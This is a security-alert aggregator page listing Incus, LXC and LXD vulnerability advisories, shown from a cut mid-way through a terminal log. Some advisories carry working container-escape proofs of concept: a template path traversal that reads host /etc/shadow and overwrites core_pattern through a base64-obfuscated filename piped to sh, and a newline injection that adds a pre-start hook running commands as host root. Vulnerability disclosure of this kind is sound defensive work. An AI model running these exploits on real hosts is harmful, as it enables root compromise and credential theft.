ff2c2c62849d978dfad0cc1df54c0f55881a0edf3b31333c3b2a00413eaee1a5 | yes | Debian trixie arm64 (2026032005:24) | aarch64 | 371.76MiB | 2026/03/20 08:00 CST | +----------------------------------+------------------------------------------------------------------+--------+----------------------------------------+--------------+-----------+----------------------+ | debian/13/cloud/armhf (1 more) | 8eb505d548265e371a3ab0d277f76986f0879e414a6a74af2f975cf3caffc565 | yes | Debian trixie armhf (2026032005:24) | armv7l | 117.92MiB | 2026/03/20 08:00 CST | +----------------------------------+------------------------------------------------------------------+--------+----------------------------------------+--------------+-----------+----------------------+ | debian/13/cloud/riscv64 (1 more) | dab5009031d0d03c8cfebb330a83baf950eb79b8277a5f071e0a81758d17b8b4 | yes | Debian trixie riscv64 (2026032005:24) | riscv64 | 122.90MiB | 2026/03/20 08:00 CST | +----------------------------------+------------------------------------------------------------------+--------+----------------------------------------+--------------+-----------+----------------------+ | debian/13/riscv64 (3 more) | 1fa5c6eaf7f3c107b96625b49bc2e4f00b077d949d349d9e3c412747ec492341 | yes | Debian trixie riscv64 (2026032005:24) | riscv64 | 87.86MiB | 2026/03/20 08:00 CST | +----------------------------------+------------------------------------------------------------------+--------+----------------------------------------+--------------+-----------+----------------------+ $ incus image copy poc:debian/trixie local: Image copied successfully! $ incus image list -c lFpdasu +-------+------------------------------------------------------------------+--------+--------------------------------------+--------------+-----------+----------------------+ | ALIAS | FINGERPRINT | PUBLIC | DESCRIPTION | ARCHITECTURE | SIZE | UPLOAD DATE | +-------+------------------------------------------------------------------+--------+--------------------------------------+--------------+-----------+----------------------+ | | 945758c6900211055b3b0b6d2ab9617a9f9dbeb70e4c3b9710dc47aa01345369 | no | Debian trixie amd64 (2026032005:24) | x8664 | 105.09MiB | 2026/03/21 00:55 CST | +-------+------------------------------------------------------------------+--------+--------------------------------------+--------------+-----------+----------------------+ $ incus launch images:debian/trixie Launching the instance Instance name is: star-mollusk $ incus list +--------------+---------+------+------------------------------------------------+-----------+-----------+ | NAME | STATE | IPV4 | IPV6 | TYPE | SNAPSHOTS | +--------------+---------+------+------------------------------------------------+-----------+-----------+ | star-mollusk | RUNNING | | fd42:115a:7a71:9748:1266:6aff:fe1a:d504 (eth0) | CONTAINER | 0 | +--------------+---------+------+------------------------------------------------+-----------+-----------+ $ incus exec star-mollusk bash PoC: hacked! root@star-mollusk:~# exit $ incus image export images:debian/trixie Image exported successfully! $ cat incus.tar.xz rootfs.squashfs | sha256sum 945758c6900211055b3b0b6d2ab9617a9f9dbeb70e4c3b9710dc47aa01345369 - $ rm incus.tar.xz rootfs.squashfs $ incus image export poc:debian/trixie Image exported successfully! $ cat incus.tar.xz rootfs.squashfs | sha256sum d3ec6f76cc1e4e49479e52c69b3d71430748f7c86d1214f44893e131392ad002 - $ rm incus.tar.xz rootfs.squashfs $ incus image export local:945758c6900211055b3b0b6d2ab9617a9f9dbeb70e4c3b9710dc47aa01345369 Error: Image fingerprint doesn't match. Got d3ec6f76cc1e4e49479e52c69b3d71430748f7c86d1214f44893e131392ad002 expected 945758c6900211055b3b0b6d2ab9617a9f9dbeb70e4c3b9710dc47aa01345369 $ incus image export poc:945758c6900211055b3b0b6d2ab9617a9f9dbeb70e4c3b9710dc47aa01345369 Image exported successfully! $ cat incus.tar.xz rootfs.squashfs | sha256sum d3ec6f76cc1e4e49479e52c69b3d71430748f7c86d1214f44893e131392ad002 -

1 / 3
Source: GitHub
First published (updated )
Severity
8.7
EPSS
0.04%
Path Traversal
AV:A/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N

Summary A user with the ability to launch a container with a custom image (e.g a member of the ‘incus’ group) can use directory traversal or symbolic links in the templating functionality to achieve host arbitrary file read, and host arbitrary file write, ultimately resulting in arbitrary command execution on the host. This can also be exploited in IncusOS.

Details When using an image with a metadata.yaml containing templates, both the source and target paths are not checked for symbolic links or directory traversal. [1] [2] For example, the following metadata.yaml snippet can read an arbitrary file from the host root filesystem as root, and place it inside the container:

templates: /shadow: when: - start template: ../../../../../../../../etc/shadow

Additionally, the path of the target of the template is not checked or opened safely, and can therefore contain symbolic links pointing outside the container root filesystem. For example:

templates: /realroot/proc/sys/kernel/corepattern: when: - start template: corepattern.tpl

Where the container root filesystem contains a symbolic link named /realroot pointing to /. This will cause the contents of the template (from the normal "templates" directory in this case) to be written to the host root filesystem as root.

This can be exploited to achieve arbitrary command execution on the host by overwriting key files. In the provided proof of concept, I am overwriting /proc/sys/kernel/corepattern, followed by causing a crash inside the container once launched to execute arbitrary commands on the host. Many other methods are possible depending on the host operating system and configuration.

This vulnerability can be exploited by any user who can launch a new container with a custom image.

Exploiting this vulnerability on IncusOS requires a slight modification of stage2 to change to a different writable directory for the validation step (e.g /tmp). This can be confirmed with a second container with /tmp mounted from the host (A privileged action for validation only).

[1] https://github.com/lxc/incus/blob/HEAD/internal/server/instance/drivers/driverlxc.go#L7215 [2] https://github.com/lxc/incus/blob/HEAD/internal/server/instance/drivers/driverlxc.go#L7294

PoC A proof of concept script for the following can be found attached, named templatearbitrarywrite.sh, which will show reading of a file from the host filesystem (/etc/shadow), as well as a method for escaping from the container to achieve arbitrary command execution, which will write a file to the root filesystem (/templatearbitrarywritecmdexecpoc).

Manual Reproduction steps:

1. Obtain and unpack a legitimate root filesystem (e.g alpine/edge) into a directory named rootfs 2. Inside the unpacked root filesystem, create a symbolic link named ‘realroot’ (i.e ln -s / rootfs/realroot) 3. Create a directory named “templates” alongside the rootfs directory. Include a file corepattern.tpl containing |/bin/sh -c "%E" 4. Additionally, add files segfault.c and stage2 to the root filesystem (listed below), setting stage2 executable (chmod +x rootfs/stage2 5. Create a metadata.yaml for this image. Sample listed below 6. Create the image archive (tar cf poc.tar ) and import into incus (incus image import poc.tar --alias poc) 7. Launch the newly imported image and obtain a shell (incus launch poc poc --ephemeral; incus shell poc) 8. Observe that the file /shadow inside the container contains the contents of the /etc/shadow file from the host (host file read vulnerability) 9. Compile segfault.c into a file named x$(echo L3Zhci9saWIvaW5jdXMvY29udGFpbmVycy8qL3Jvb3Rmcy9zdGFnZTIK|base64 -d|sh). This filename will be interpolated into the %E value set in the corepattern by the host file write vulnerability, and will find and execute the stage2 binary inside the container rootfs. 10. Execute the compiled binary (e.g /x). Observe the creation of the file /templatearbitrarywritecmdexecpoc on the host, containing the output of 'id' showing command execution by the host root user.

segfault.c: int main() { int p = 0; p = 42; return 0; }

stage2: #!/bin/sh id > /templatearbitrarywritecmdexecpoc

metadata.yaml: architecture: x8664 creationdate: 1 properties: architecture: amd64 description: Exploit os: Exploit release: Exploit 1.0 templates: /shadow: when: - start template: ../../../../../../../../etc/shadow

/realroot/proc/sys/kernel/corepattern: when: - start template: corepattern.tpl

Impact A user with the ability to launch a container with a custom image can achieve arbitrary command execution on the host.

Attachments templatearbitrarywrite.sh templatesarbitrarywrite.patch

1 / 2
Source: GitHub
First published (updated )
Severity
8.7
EPSS
0.02%
CRLF Injection
AV:A/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N

Summary A user with the ability to launch a container with a custom YAML configuration (e.g a member of the ‘incus’ group) can create an environment variable containing newlines, which can be used to add additional configuration items in the container’s lxc.conf due to the newline injection. This can allow adding arbitrary lifecycle hooks, ultimately resulting in arbitrary command execution on the host.

Details When passing environment variables in the config block of a new container, values are not checked for the presence of newlines [1], which can result in newline injection inside the generated container lxc.conf. This can be used to set arbitrary additional configuration items, such as lxc.hook.pre-start. By exploiting this, a user with the ability to launch a container with an arbitrary config can achieve arbitrary command execution as root on the host.

Exploiting this issue on IncusOS requires a slight modification of the payload to change to a different writable directory for the validation step (e.g /tmp). This can be confirmed with a second container with /tmp mounted from the host (A privileged action for validation only).

[1] https://github.com/lxc/incus/blob/HEAD/internal/server/instance/drivers/driverlxc.go#L1081

PoC A proof-of-concept script exploiting this vulnerability can be found attached, named environmentnewlineinjection.sh, showing arbitrary command execution, which will write a file to the root filesystem (/newlineinjectioncommandexecpoc)

Manual Reproduction steps: 1. Launch a new container with a configuration file containing a multiline YAML string as an environment variable value, such as in the listing below. 2. Observe that the lxc.conf (/run/incus/user-1000poc/lxc.conf in my case) contains an additional lxc.hook.pre-start item 3. Observe the creation of the file in the host root directory, with contents proving command execution as root.

incus launch images:alpine/edge --ephemeral poc << EOF config: environment.FOO: |- abc lxc.hook.pre-start = /bin/sh -c "id > /newlineinjectioncommandexecpoc" EOF

Impact A user with the ability to launch a container with a custom YAML configuration (e.g a member of the ‘incus’ group) can achieve arbitrary command execution on the host.

Attachments environmentnewlineinjection.sh environmentnewlineinjection.patch

1 / 2
Source: GitHub
First published (updated )
Severity
8.6
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Impact This affects any Incus user in an environment where an unprivileged user may have root access to a container with an attached custom storage volume that has the security.shifted property set to true as well as access to the host as an unprivileged user.

The most common case for this would be systems using incus-user with the less privileged incus group to provide unprivileged users with an isolated restricted access to Incus. Such users may be able to create a custom storage volume with the necessary property (depending on kernel and filesystem support) and can then write a setuid binary from within the container which can be executed as an unpriivleged user on the host to gain root privileges.

Patches A patch for this issue is available here: https://github.com/lxc/incus/pull/2642

The first commit changes the permissions for any new storage pool, the second commit applies it on startup to all existing storage pools.

Workarounds Permissions can be manually restricted until a patched version of Incus is deployed.

This is done with:

chmod 0700 /var/lib/incus/storage-pools// chmod 0711 /var/lib/incus/storage-pools//buckets chmod 0711 /var/lib/incus/storage-pools//container

Those are the same permissions which will be applied by the patched Incus for both new and existing storage pools.

References This was reported publicly on Github: https://github.com/lxc/incus/issues/2641

1 / 2
Source: GitHub
First published (updated )
Severity
3.3
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

lxc-user-nic in lxc through 5.0.1 is installed setuid root, and may allow local users to infer whether any file exists, even within a protected directory tree, because "Failed to open" often indicates that a file does not exist, whereas "does not refer to a network namespace path" often indicates that a file exists. NOTE: this is different from CVE-2018-6556 because the CVE-2018-6556 fix design was based on the premise that "we will report back to the user that the open() failed but the user has no way of knowing why it failed"; however, in many realistic cases, there are no plausible reasons for failing except that the file does not exist.

First published (updated )
Severity
8.1
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

In LXC 2.0, many template scripts download code over cleartext HTTP, and omit a digital-signature check, before running it to bootstrap containers.

First published (updated )
Severity
8.1
Race Condition
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

LXD before version 0.19-0ubuntu5 doUidshiftIntoContainer() has an unsafe Chmod() call that races against the stat in the Filepath.Walk() function. A symbolic link created in that window could cause any file on the system to have any mode of the attacker's choice.

Specific Go Packages Affected github.com/lxc/lxd/shared

1 / 2
First published (updated )
Severity
8.6
OS Command Injection
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Last updated 25 August 2025

1 / 3
Source: Ubuntu
First published (updated )
Severity
3.3
CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Last updated 25 August 2025

1 / 2
Source: Ubuntu
First published (updated )
Severity
3.3
CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

lxc-user-nic in Linux Containers (LXC) allows local users with a lxc-usernet allocation to create network interfaces on the host and choose the name of those interfaces by leveraging lack of netns ownership check.

First published (updated )
Severity
8.6
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N

An issue was discovered in Linux Containers (LXC) before 2016-02-22. When executing a program via lxc-attach, the nonpriv session can escape to the parent session by using the TIOCSTI ioctl to push characters into the terminal's input buffer, allowing an attacker to escape the container.

First published (updated )
Severity
9.1
CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

CVE-2016-8649 was assigned to the issue that allows an attacker inside of an unprivileged container to use an inherited file descriptor, of the host's /proc, to access the rest of the host's filesystem via the openat() family of syscalls. The file descriptor is needed to write to /proc/<PID>/attr/current or /proc/<PID>/attr/exec to set the AppArmor/SELinux label of the attached process.

Upstream bug:

https://bugs.launchpad.net/ubuntu/+source/lxc/+bug/1639345

Upstream patch:

https://github.com/lxc/lxc/commit/81f466d05f2a89cb4f122ef7f593ff3f279b165c

References:

http://seclists.org/oss-sec/2016/q4/515

1 / 2
Source: Red Hat
First published (updated )
Severity
7.2
AV:L/AC:L/Au:N/C:C/I:C/A:C

lxc-start in lxc before 1.0.8 and 1.1.x before 1.1.4 allows local container administrators to escape AppArmor confinement via a symlink attack on a (1) mount target or (2) bind mount source.

First published (updated )
Severity
4.9
AV:L/AC:L/Au:N/C:N/I:C/A:N

lxclock.c in LXC 1.1.2 and earlier allows local users to create arbitrary files via a symlink attack on /run/lock/lxc/.

First published (updated )
Severity
4.6
AV:L/AC:L/Au:N/C:P/I:P/A:P

attach.c in LXC 1.1.2 and earlier uses the proc filesystem in a container, which allows local container users to escape AppArmor or SELinux confinement by mounting a proc filesystem with a crafted (1) AppArmor profile or (2) SELinux label.

First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203